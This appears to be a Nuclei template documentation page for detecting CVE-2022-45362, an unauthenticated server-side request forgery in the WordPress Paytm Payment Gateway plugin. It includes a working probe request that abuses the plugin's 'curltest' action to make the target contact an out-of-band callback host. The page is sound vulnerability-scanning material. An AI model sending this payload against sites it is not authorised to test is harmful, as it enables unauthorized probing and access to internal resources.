Skip to content
Nuclei Templates

WordPress Paytm Payment Gateway <=2.7.0 - Server-Side Request Forgery

ID: CVE-2022-45362

Severity: medium

Author: theamanrawat

Tags: cve,cve2022,ssrf,wordpress,wp-plugin,wp,paytm-payments,unauth,oast,paytm

Description

Section titled “Description”

WordPress Paytm Payment Gateway plugin through 2.7.0 contains a server-side request forgery vulnerability. An attacker can cause a website to execute website requests to an arbitrary domain, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2022-45362


info:
  name: WordPress Paytm Payment Gateway <=2.7.0 - Server-Side Request Forgery
  author: theamanrawat
  severity: medium
  description: WordPress Paytm Payment Gateway plugin through 2.7.0 contains a server-side request forgery vulnerability. An attacker can cause a website to execute website requests to an arbitrary domain, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  remediation: |
    Update to the latest version of the WordPress Paytm Payment Gateway plugin (2.7.0) or apply the vendor-supplied patch.
  reference:
    - https://patchstack.com/database/vulnerability/paytm-payments/wordpress-paytm-payment-gateway-plugin-2-7-0-server-side-request-forgery-ssrf-vulnerability
    - https://wordpress.org/plugins/paytm-payments/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45362
    - https://patchstack.com/database/vulnerability/paytm-payments/wordpress-paytm-payment-gateway-plugin-2-7-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-45362
    cwe-id: CWE-918
    epss-score: 0.00177
    epss-percentile: 0.54919
    cpe: cpe:2.3:a:paytm:payment_gateway:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: paytm
    product: payment_gateway
    framework: wordpress
  tags: cve,cve2022,ssrf,wordpress,wp-plugin,wp,paytm-payments,unauth,oast,paytm


http:
  - raw:
      - |
        GET /?paytm_action=curltest&url={{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"


      - type: word
        part: body
        words:
          - "paytm-payments.css"


      - type: status
        status:
          - 200
# digest: 490a0046304402203e5b6099876dbd93ceedf89bbaa2a0de0c038d6fc0d3e1bd4e158feb4c844df4022018f320b4ee56c864894dcad315c28f12d1819021a7be8799b7fb16587b1e7d90:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-45362.yaml"

View on Github